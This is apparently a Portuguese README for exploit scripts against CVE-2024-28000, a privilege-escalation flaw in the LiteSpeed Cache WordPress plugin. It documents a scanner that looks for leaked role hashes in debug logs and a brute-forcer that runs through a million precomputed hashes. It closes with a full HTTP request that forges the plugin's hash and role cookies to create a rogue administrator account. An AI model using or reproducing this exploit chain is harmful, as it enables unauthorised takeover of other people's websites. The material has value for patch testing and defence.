LiteSpeed Cache Escalada de Privilégios Exp

CVE-2024-28000_Scan.py

• Este script primeiro identifica a versão, determina se é uma versão vulnerável, depois tenta confirmar se o arquivo de log existe. Se existir, tentará enviar um pacote e, em seguida, solicitar novamente o arquivo de log para tentar encontrar um vazamento de hash. Se o LiteSpeed estiver com debug ativado, é possível que o hash correto vaze.

usage: CVE-2024-28000_Scan.py [-h] [-f F] [-t T] [-p PROXY]

CVE-2024-28000 Scan

optional arguments:
  -h, --help            show this help message and exit
  -f F                  File list
  -t T                  Scan thread
  -p PROXY, --proxy PROXY
                        Example: socks5://127.0.0.1:10808

Exemplo:

09/08/24 16:30:38.219 [0.0.0.0:26008 1 TG9] 💓 ------POST HTTP/1.1 (HTTPS)  /wp-json/wp/v2/users
09/08/24 16:30:38.219 [0.0.0.0:26008 1 TG9] Query String: 
09/08/24 16:30:38.231 [0.0.0.0:26008 1 TG9] [Router] starting role validation
09/08/24 16:30:38.232 [0.0.0.0:26008 1 TG9] [Router] hash not match zasws5 != pkHrfD
09/08/24 16:30:38.232 [0.0.0.0:26008 1 TG9] [Router] get_role: 
09/08/24 16:30:38.241 [0.0.0.0:26008 1 TG9] [Optm] init

Se o LiteSpeed estiver com debug ativado, é possível ver logs semelhantes ao acima, onde pkHrfD é o hash correto.

CVE-2024-28000_Exploit.py

• Conforme testado, os hashes gerados por Python e PHP são diferentes, portanto, a lista de hashes não pode ser simulada usando Python. O arquivo Hash_list.txt contém 1.000.000 hashes gerados por PHP, então, em teoria, percorrendo no máximo 1.000.000 vezes, é possível encontrar o hash correto.

usage: CVE-2024-28000_Exploit.py [-h] [-u U] [-t T] [-d D] [-p PROXY]

CVE-2024-28000

optional arguments:
  -h, --help            show this help message and exit
  -u U                  url
  -t T                  Scan thread
  -d D                  Dict list
  -p PROXY, --proxy PROXY
                        Example: socks5://127.0.0.1:10808

• O parâmetro -d é a lista de hashes, -u é a URL, -t é o número de threads. Não é recomendado usar um número muito alto de threads.

Teste

• Em testes no ambiente de laboratório, foi possível percorrer os hashes com sucesso e, após reinstalar cinco vezes, confirmou-se que o hash estava na lista de hashes gerada. No entanto, por vários motivos, a taxa de sucesso em ambientes reais é baixa.
• Depois de encontrar o hash correto, é possível usar o pacote abaixo para adicionar um usuário admin.

POST /wp-json/wp/v2/users HTTP/2
Host: xxx.com
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Cookie: litespeed_hash=hash_correto; litespeed_role=1
Content-Length: 122
Content-Type: application/json

{"username": "username", "password": "password", "email": "[email protected]", "roles": ["administrator"]}